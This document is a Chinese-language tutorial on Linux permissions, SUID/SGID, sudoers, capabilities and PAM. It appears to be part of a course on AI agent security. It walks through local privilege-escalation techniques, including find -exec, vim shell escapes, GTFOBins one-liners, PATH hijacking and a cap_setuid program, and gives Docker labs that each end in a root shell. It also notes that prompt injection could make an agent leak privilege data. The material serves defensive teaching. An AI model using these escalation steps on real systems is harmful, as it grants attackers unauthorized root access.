Linux/Unix 系统里每个文件、每个目录都有一组权限位,决定谁能读、写、执行。这套模型 1970 年代发明,半个世纪了仍是所有现代 Unix 系统(Linux、macOS、BSD)的基石。今天就从它讲起。
三种动作(rwx):
三种身份(ugo):
把这两个维度组合起来,就有 3 × 3 = 9 位权限,外加几个特殊位(下一节讲)。
$ ls -l /etc/passwd /etc/shadow /usr/bin/sudo
-rw-r--r-- 1 root root 3082 May 10 14:23 /etc/passwd
-rw------- 1 root shadow 1842 May 10 14:23 /etc/shadow
-rwsr-xr-x 1 root root 182600 Mar 28 11:33 /usr/bin/sudo
解析第一列 -rwxr-xr-x 这种字符串:
所以 /etc/passwd 的 -rw-r--r-- 意思是:
/etc/shadow 的 -rw------- 意思是:
/usr/bin/sudo 的 -rwsr-xr-x 有个奇怪的 s——那个就是 SUID 位,下一节细讲。
除了 chmod u+x file 这种文字记号,更常用的是数字记号。原理:rwx 三位用二进制表示 = 一个 0-7 的八进制数字。
| 权限 | 二进制 | 八进制 |
|---|---|---|
| --- | 000 | 0 |
| --x | 001 | 1 |
| -w- | 010 | 2 |
| -wx | 011 | 3 |
| r-- | 100 | 4 |
| r-x | 101 | 5 |
| rw- | 110 | 6 |
| rwx | 111 | 7 |
三个身份各一位,连起来三个数字。常见模式速记:
| 数字 | 含义 | 典型场景 |
|---|---|---|
755 | rwxr-xr-x | 可执行文件、目录的默认权限 |
644 | rw-r--r-- | 普通文档(owner 可写,别人只读) |
600 | rw------- | 私密文件(SSH 私钥、配置) |
700 | rwx------ | 私人目录(如 ~/.ssh/) |
777 | rwxrwxrwx | ⚠ 几乎永远不该用,任何人都能改 |
# 改一个文件的权限
chmod 755 myscript.sh
chmod 600 ~/.ssh/id_rsa
chmod 644 README.md
# 文字记号也能用
chmod u+x file # 给 owner 加执行权限
chmod go-rwx secret # 把 group 和 other 的所有权限都拿掉
chmod a+r public.txt # all (= ugo) 都加上读
你新建一个文件,权限是怎么定的?答案是:666 - umask 值(目录是 777 - umask)。umask 是"应该移除哪些位"的掩码。
# 看当前 umask
$ umask
022
# 022 意思是:去掉 group 和 other 的写权限
# 新文件 = 666 - 022 = 644 (rw-r--r--)
# 新目录 = 777 - 022 = 755 (rwxr-xr-x)
# 改 umask
umask 077 # 新文件 = 600,新目录 = 700(任何人都不能读)
umask 002 # 新文件 = 664(允许同组读写——多人协作场景)
000 或 002 后忘了改回来,结果 SSH 私钥(应该 600)创建出来变成 666,被其他用户读走。OpenSSH 会拒绝读这种"权限过宽"的私钥,但其他自定义脚本可能不会。
9 位 rwx 之外还有三个特殊位,它们是 Linux 提权问题的头号根源。今天的重点。
定义:一个二进制文件被设置了 SUID 位后,无论谁运行它,都会以"文件所有者"的身份执行。
看一个例子。passwd 命令让用户改自己的密码——但改密码意味着写 /etc/shadow,而 /etc/shadow 只有 root 能写。普通用户怎么改自己密码?答案:
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Mar 28 11:33 /usr/bin/passwd
↑
注意这里有个 s 不是 x
那个 s = 4xxx 的特殊位 = SUID。owner 是 root,加了 SUID = "谁运行 passwd,都临时变成 root"。所以普通用户调 passwd 时,进程的 EUID(effective user ID)瞬间是 0(root),能写 shadow 文件;改完密码进程退出,权限收回。
SUID 是 Unix 早期一个极为重要的设计——它让需要特权的操作(改密码、ping 网络、挂载文件系统)不需要让用户登录到 root,也能用专用工具完成。但它也是安全黑洞——一旦某个 SUID 程序有 bug,攻击者就能用这个 bug 提权到 owner(通常是 root)。
# 找系统所有 SUID 程序(owner 是 root 的)
find / -perm -u+s -user root 2>/dev/null
# 在普通 Linux 系统上你会看到类似:
# /usr/bin/passwd
# /usr/bin/sudo
# /usr/bin/su
# /usr/bin/mount
# /usr/bin/ping
# /usr/bin/chsh
# /usr/bin/chfn
# /bin/su
每一个 SUID 二进制都是潜在的攻击面。攻击者拿到普通用户后,第一件事就是跑上面那条 find 命令,看有什么 SUID 程序。然后:
跟 SUID 类似,但作用于组。看到 -rwxr-sr-x 那个 group 位的 s(在 group 三位里),就是 SGID。运行该程序的进程会以"文件所属组"的身份执行。
另一种 SGID 用法:对目录设置 SGID 后,在该目录里新建的文件会自动继承目录的 group。这是多人协作(如开源项目)共享文件的常用配置。
# 创建一个团队共享目录,组内成员都能读写新文件
mkdir /shared/team-data
chgrp team /shared/team-data
chmod 2775 /shared/team-data # 2xxx = SGID
# 团队成员 alice 在里面新建文件,文件自动属于 team 组
三个特殊位里相对无害的一个。给一个目录加 sticky 位后:只有文件的 owner 才能删除该目录里的文件。即使目录本身是 777,别人也只能新建自己的文件,不能 rm 你的文件。
$ ls -ld /tmp
drwxrwxrwt 12 root root 380 May 16 09:00 /tmp
↑
这个 t 就是 sticky bit
所以 /tmp 看起来权限是 777(任何人都能写)——但因为 sticky bit,你只能删自己创建的临时文件,删不了别人的。这就是为啥 /tmp 是大家共享但又相对安全的。
chmod 4755 myprogram # SUID + rwxr-xr-x = -rwsr-xr-x
chmod 2755 mydir # SGID + rwxr-xr-x = -rwxr-sr-x
chmod 1777 /tmp # Sticky + rwxrwxrwx = drwxrwxrwt
chmod 0644 file # 第一位 0 = 清掉特殊位
chmod +s / chmod g+s / chmod +t 也能加。但SUID 只对二进制可执行文件有效,对 shell 脚本无效(内核出于安全考虑禁用了脚本的 SUID)。攻击者写了个 SUID shell 脚本是没用的——必须是编译过的二进制。
SUID 的 su(switch user)能让你"登录"成另一个用户,但要 root 密码。sudo 则是更精细的工具:让管理员预先定义"谁可以以什么身份运行什么命令",被授权的用户用自己的密码就能执行。
$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 182600 ...
↑ SUID
所以任何用户运行 sudo,进程瞬间变成 root,由 sudo 自己内部检查 /etc/sudoers 决定该不该让你做这件事。这个流程是安全审计的核心——sudo 的 bug 往往直接提权到 root(历史上有过几次重大 CVE)。
# 这个文件用 visudo 命令编辑(有语法检查,防止你写错把自己锁出来)
sudo visudo
# 几条最常见的规则:
root ALL=(ALL:ALL) ALL # root 啥都能干
%admin ALL=(ALL) ALL # admin 组成员能切换到任何用户运行任何命令
%sudo ALL=(ALL:ALL) ALL # sudo 组同上
alice ALL=(ALL) NOPASSWD: /bin/systemctl restart nginx
# alice 不用密码就能重启 nginx,但只能这一条
语法格式:user host=(run_as_user:run_as_group) commands
# 错误配置(真实出现过):
bob ALL=(ALL) NOPASSWD: /usr/bin/find /var/log *
管理员意图:让 bob 能用 find 查日志。致命漏洞:find 有 -exec 参数能跑任意命令,所以:
sudo find /var/log -exec /bin/sh \; -quit
# 直接弹个 root shell —— 因为 sudo 以 root 身份运行 find,
# find 又以 root 身份调起 /bin/sh
这个攻击套路就是下面要讲的 GTFOBins 站点的核心内容——它把"看起来无害但能被滥用的命令"全部收录了。
# 看你(当前用户)能 sudo 哪些命令
sudo -l
# 输出例:
# User bob may run the following commands on this host:
# (ALL) NOPASSWD: /usr/bin/find /var/log *
# (ALL) NOPASSWD: /usr/bin/vim /etc/nginx/*
# vim 也能逃逸:sudo vim /etc/nginx/test 进去后输入 :!sh 即 root shell
攻击者拿到任何 user shell,第一件事就跑 sudo -l。每一个 NOPASSWD 条目都要审查能不能滥用。
SUID + root 模型有个根本问题:太粗了。你只是想让 ping 能发原始网络包,结果 ping 程序拥有了 root 的所有能力(修改 /etc、kill 任何进程、加载内核模块……)。一个 ping 的 bug 就让攻击者拿到 root。
从 Linux 2.2 开始,内核引入了 Capabilities 机制,把 root 的特权拆成 ~40 个细粒度能力。每个进程可以只拥有它需要的那几个,没必要拥有全部 root 权限。
| Capability | 能干什么 |
|---|---|
CAP_NET_RAW | 发送原始网络包(ping、tcpdump 需要) |
CAP_NET_BIND_SERVICE | 绑定 1024 以下端口(HTTP 监听 80 需要) |
CAP_SYS_PTRACE | 用 ptrace 跟踪/调试别的进程(gdb、strace 需要) |
CAP_SYS_ADMIN | 挂载文件系统、改主机名等("半个 root") |
CAP_DAC_READ_SEARCH | 绕过文件读权限检查 |
CAP_DAC_OVERRIDE | 绕过所有文件权限检查(≈ root) |
CAP_CHOWN | 改文件 owner |
CAP_KILL | 给任何进程发信号 |
CAP_NET_ADMIN | 配置网络接口、防火墙 |
CAP_SYS_MODULE | 加载/卸载内核模块(= 完全 root) |
# 文件
$ getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw=ep
# ep 表示 Effective + Permitted 都打开
# 当前进程
$ cat /proc/$$/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
# 普通用户进程没有任何 capability
# 管理员搞错以为 setcap 是"轻量级"的 SUID 替代,给某二进制加了:
sudo setcap cap_setuid+ep /usr/bin/my_tool
# 但 cap_setuid 意味着该程序能调 setuid(0) 把自己变成 root
# 任何能跑 my_tool 的用户都可以提权
容器场景里这点特别关键——后面 Week 9 讲 Docker 时会看到,docker run --cap-add 给容器添加能力。添加错了等于打开了逃逸通道。比如 --cap-add SYS_ADMIN 几乎等于 --privileged。
PAM(Pluggable Authentication Modules)是 Linux 把"认证"从程序里抽离出来的统一框架。SSH、sudo、login、su 这些工具都不自己写认证逻辑——它们调 PAM,PAM 再去读配置文件、调具体的认证模块。
# /etc/pam.d/sudo (典型)
auth required pam_unix.so # 检查 /etc/passwd
auth required pam_faillock.so # 失败次数限制
account required pam_unix.so
session required pam_limits.so
# 你能在这里配多因素认证:
auth required pam_google_authenticator.so
对 Agent 安全的关联:如果你的 Agent 服务跑在 Linux 主机上,要让它走 SSH 远程登录,PAM 是认证链路里的关键一环。你能配置 PAM 在登录时调用你自己的检测脚本,对接异常登录检测系统。Week 4 周日讲安全综合时再回来。
把今天讲的拼起来,列出攻击者拿到普通 user shell 后最常用的提权路径。你的 Agent 沙箱设计要做的,就是把这些路径全部堵上。
系统里有不少 SUID 程序的"看起来无害"功能能跑任意命令:
find / -exec /bin/sh \; (find 有 -exec)vim + :!sh (vim 能执行 shell 命令)less / more + !sh (翻页器有 ! 命令)nmap --interactive (老版本 nmap)awk 'BEGIN {system("/bin/sh")}'perl -e 'exec "/bin/sh"'这些命令只要被加了 SUID 或被 sudoers 允许 NOPASSWD,攻击者就能用它的"-exec" 类参数跑出 root shell。
已经讲过——任何 NOPASSWD 条目都要审查。Day 4 LAB 5 你已经动手过 sudo -l。
# 管理员给某个目录设了一个 SUID 程序,程序里调了系统命令但用相对路径:
$ cat /usr/local/bin/backup.c
int main() {
system("tar czf /backup.tgz /data"); // ⚠ 相对路径调 tar
return 0;
}
# 这个 SUID 程序运行时会沿 $PATH 找 tar
# 如果攻击者控制了 $PATH 顺序:
echo '#!/bin/sh
chmod u+s /bin/bash' > /tmp/tar
chmod +x /tmp/tar
PATH=/tmp:$PATH /usr/local/bin/backup
# 现在 /bin/bash 是 SUID 了,bash -p 即得到 root shell
修复方法:SUID 程序里调系统命令时必须用绝对路径(如 /bin/tar),并且代码里要重置 PATH 和 LD_PRELOAD 等环境变量。
如果某个 cron job 由 root 运行,但脚本本身/它依赖的文件/它所在的目录是用户可写的——你改了脚本,下次 cron 触发就以 root 身份跑你的代码。
# 查所有 cron 任务(系统级 + 各用户)
cat /etc/crontab
ls /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
# 找 root 跑的可写脚本
find / -path "/proc" -prune -o -type f -writable -print 2>/dev/null | head
很多年总会爆出几个 Linux 内核漏洞允许本地提权。著名的:
这些都不需要任何特殊权限,只要内核版本中招就能利用。所以"打补丁"是基础设施安全的核心动作之一。
已经讲过。SUID 之外,setcap 配置错误也能直接 → root。
GTFOBins.github.io 是个开源项目,专门收录"看起来无害但能被滥用提权 / 突破限制"的命令清单。每个命令列出它的 5-6 种被滥用方式:
覆盖的命令包括但不限于:
这个网站对蓝队和红队都是必备工具。蓝队用它做"我们系统有这些 SUID 命令吗?分别要怎么防?"红队用它做"我能用现成的工具提权吗?"
# 在你 mac 上起一个 Ubuntu 容器,加 --privileged 让我们能演示
docker run -it --rm --hostname suid-lab ubuntu:22.04 bash
# 容器里建一个低权限用户来当"攻击者"
useradd -m -s /bin/bash attacker
echo "attacker:Pass123" | chpasswd
# 装一些工具
apt update && apt install -y sudo vim less file findutils
# root 操作:给 find 加 SUID
chmod u+s /usr/bin/find
ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find
# 切换到 attacker 用户
su - attacker
# 攻击者操作:
$ find / -perm -u+s 2>/dev/null | head
# 看到 /usr/bin/find 在列
$ find . -exec /bin/bash -p \;
# -p 让 bash 保留 effective UID = 0
$ whoami
root ← 提权成功
$ exit # 退出 root shell
# root 操作:
echo "attacker ALL=(ALL) NOPASSWD: /usr/bin/vim /etc/nginx/*" > /etc/sudoers.d/attacker
chmod 440 /etc/sudoers.d/attacker
# 切换到 attacker
su - attacker
# 攻击者操作:
$ sudo -l
# 看到允许 vim /etc/nginx/*
$ sudo vim /etc/nginx/test
# 在 vim 里输入: :!bash
$ whoami
root ← 提权成功
# root 操作:
cat > /tmp/setuid_demo.c <<EOF
#include <unistd.h>
int main() {
setuid(0);
execl("/bin/bash", "bash", "-p", NULL);
return 0;
}
EOF
apt install -y gcc libcap2-bin
gcc /tmp/setuid_demo.c -o /tmp/setuid_demo
setcap cap_setuid+ep /tmp/setuid_demo
chmod 755 /tmp/setuid_demo
# 切换到 attacker
su - attacker
# 攻击者操作:
$ getcap /tmp/setuid_demo
/tmp/setuid_demo = cap_setuid+ep
$ /tmp/setuid_demo
$ whoami
root ← 提权成功
三条路径的共同模式:攻击者拿到普通 shell → 用 find/getcap/sudo -l 等命令侦察 → 找到一个"配置不当的特权点" → 用它跑出 root shell。理解这个模式,你做 Agent 沙箱设计时就知道要堵哪些口子了。
1. Agent code interpreter 的最低安全要求。如果你的 Agent 允许 LLM 生成代码并执行(OpenAI / Anthropic 的 code interpreter、自建沙箱):最起码不能用 root 跑。今天讲的所有提权路径都是"普通用户 → root"的,如果起点就是 root,攻击者没必要提权,直接做坏事。规则:沙箱进程必须以 unprivileged 用户启动,uid > 1000,附加 NoNewPrivs seccomp 设置(防止 SUID 提权)。
2. 容器镜像的 SUID 审计。你打包 Agent 服务的 Docker 镜像,最佳实践是用 distroless 或 alpine 最小镜像,然后扫描所有 SUID 二进制:find / -perm -u+s,把不必要的全部清掉。一个生产镜像里如果有 find 或 vim 这种 SUID 程序,攻击者拿到沙箱后能直接提权。Week 10 讲 Docker 镜像时会展开。
3. capability 模型用对了能大幅缩攻击面。比如你的 Agent 服务需要 ping 网络(健康检查),用传统做法要 root;用 capabilities 你只给它 CAP_NET_RAW,就算被攻破,攻击者也拿不到完整 root,能干的坏事少得多。K8s 里给 Pod 配置 securityContext.capabilities.drop: ALL 然后 add 仅需的几个,是生产防御标配。
4. 监控 setuid/setgid 系统调用。攻击者在你机器上做提权时,一定会调 setuid(0) 或 setgid(0) 这两个 syscall。用 eBPF(Week 2 周六会讲)实时监控这两个 syscall,配合"调用者不是 root 而是普通用户、目标是 root"的过滤条件,可以做到秒级提权检测。Falco / Tetragon 这类工具的核心规则就是这个。
5. 别让 LLM 看到 sudoers / setcap 这些配置。如果你的 RAG 系统索引了运维文档,务必把 /etc/sudoers、setcap 列表、SSH 密钥位置这些放黑名单。否则一个 indirect prompt injection 能让 Agent 把你的提权清单完整吐出来。这其实是 Week 19(向量数据库安全)和 Week 23(LLM 攻击面)的预告。
130 分钟 · 上面 LAB 全做一遍
用 Docker 起一个 Ubuntu,跑通 LAB A、B、C 三条提权路径。关键:每一步都对照前面章节的解释——find 为啥能逃逸?sudo 给的 vim 怎么变成 root?setcap 比 SUID 危险在哪?做完你能用一段话向同事解释"为什么 K8s 推荐 cap_drop: ALL"。
215 分钟 · 你 mac 上看 SUID 程序清单
# mac 上跑
find /usr /bin /sbin -perm -u+s -user root 2>/dev/null
find /Applications -perm -u+s 2>/dev/null
问题:清单里有什么?挑 3 个你不认识的,去 GTFOBins 查一下。思考:如果攻击者拿到你 mac 上的普通用户 shell(比如某个浏览器漏洞),他能用这些 SUID 程序做什么?
310 分钟 · 思考题
你设计一个 Agent 沙箱,让 LLM 生成的 Python 代码能跑。下面 4 个隔离层级,从弱到强排序,并指出每一层"如果攻击者突破,能影响什么":
exec() 在主进程里跑NoNewPrivs结合今天的内容思考:A 突破后能干什么?B 比 A 多了什么保护?C 阻断了今天讲的哪些提权路径?D 进一步加了哪些防线?